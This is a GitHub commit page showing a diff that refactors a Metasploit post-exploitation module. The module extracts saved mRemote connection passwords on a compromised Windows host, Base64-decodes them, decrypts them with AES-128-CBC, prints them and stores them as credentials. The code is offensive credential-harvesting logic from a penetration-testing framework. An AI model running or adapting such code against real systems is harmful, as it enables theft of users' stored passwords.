Skip to content

Commit c20b4dc

Browse files
committed
Land rapid7#3645, @jlee-r7's fix for mremoge credentials gather module
2 parents 3bbe9bf + b7e4bd4 commit c20b4dc

File tree

1 file changed

+14
-22
lines changed

1 file changed

+14
-22
lines changed

modules/post/windows/gather/credentials/mremote.rb

Lines changed: 14 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -10,10 +10,10 @@
1010
require 'msf/core/auxiliary/report'
1111

1212
class Metasploit3 < Msf::Post
13+
include Msf::Post::File
1314
include Msf::Post::Windows::UserProfiles
1415
include Msf::Auxiliary::Report
1516

16-
1717
def initialize(info={})
1818
super( update_info( info,
1919
'Name' => 'Windows Gather mRemote Saved Password Extraction',
@@ -49,19 +49,17 @@ def run
4949
end
5050

5151
def get_xml(path)
52-
condata=""
52+
print_status("Looking for #{path}")
5353
begin
54-
xmlexists = client.fs.file.stat(path)
55-
connections = client.fs.file.new(path,'r')
56-
until connections.eof
57-
condata << connections.read
54+
if file_exist?(path)
55+
condata = read_file(path)
56+
parse_xml(condata)
57+
print_status("Finished processing #{path}")
5858
end
59-
parse_xml(condata)
60-
print_status("Finished processing #{path}")
6159
rescue Rex::Post::Meterpreter::RequestError
6260
print_status("The file #{path} either could not be read or does not exist")
61+
return
6362
end
64-
6563
end
6664

6765
def parse_xml(data)
@@ -75,17 +73,12 @@ def parse_xml(data)
7573
user = node.attributes['Username']
7674
domain = node.attributes['Domain']
7775
epassword= node.attributes['Password']
78-
next if epassword == nil or epassword== ""
76+
next if epassword == nil || epassword == ""
77+
7978
decoded = epassword.unpack("m*")[0]
80-
iv= decoded.slice!(0,16)
81-
pass=decrypt(decoded, @secret , iv, "AES-128-CBC")
79+
iv = decoded.slice!(0,16)
80+
pass = decrypt(decoded, @secret , iv, "AES-128-CBC")
8281
print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")
83-
user= "#{domain}\\#{user}" unless domain.nil? or domain.empty?
84-
if session.db_record
85-
source_id = session.db_record.id
86-
else
87-
source_id = nil
88-
end
8982

9083
service_data = {
9184
address: host,
@@ -104,7 +97,7 @@ def parse_xml(data)
10497
username: user
10598
}
10699

107-
unless domain.blank?
100+
if domain.present?
108101
credential_data[:realm_key] = Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN
109102
credential_data[:realm_value] = domain
110103
end
@@ -115,15 +108,14 @@ def parse_xml(data)
115108
credential_core = create_credential(credential_data)
116109

117110
# Assemble the options hash for creating the Metasploit::Credential::Login object
118-
login_data ={
111+
login_data = {
119112
core: credential_core,
120113
status: Metasploit::Model::Login::Status::UNTRIED
121114
}
122115

123116
# Merge in the service data and create our Login
124117
login_data.merge!(service_data)
125-
login = create_credential_login(login_data)
126-
118+
create_credential_login(login_data)
127119
end
128120
end
129121

0 commit comments

Comments
 (0)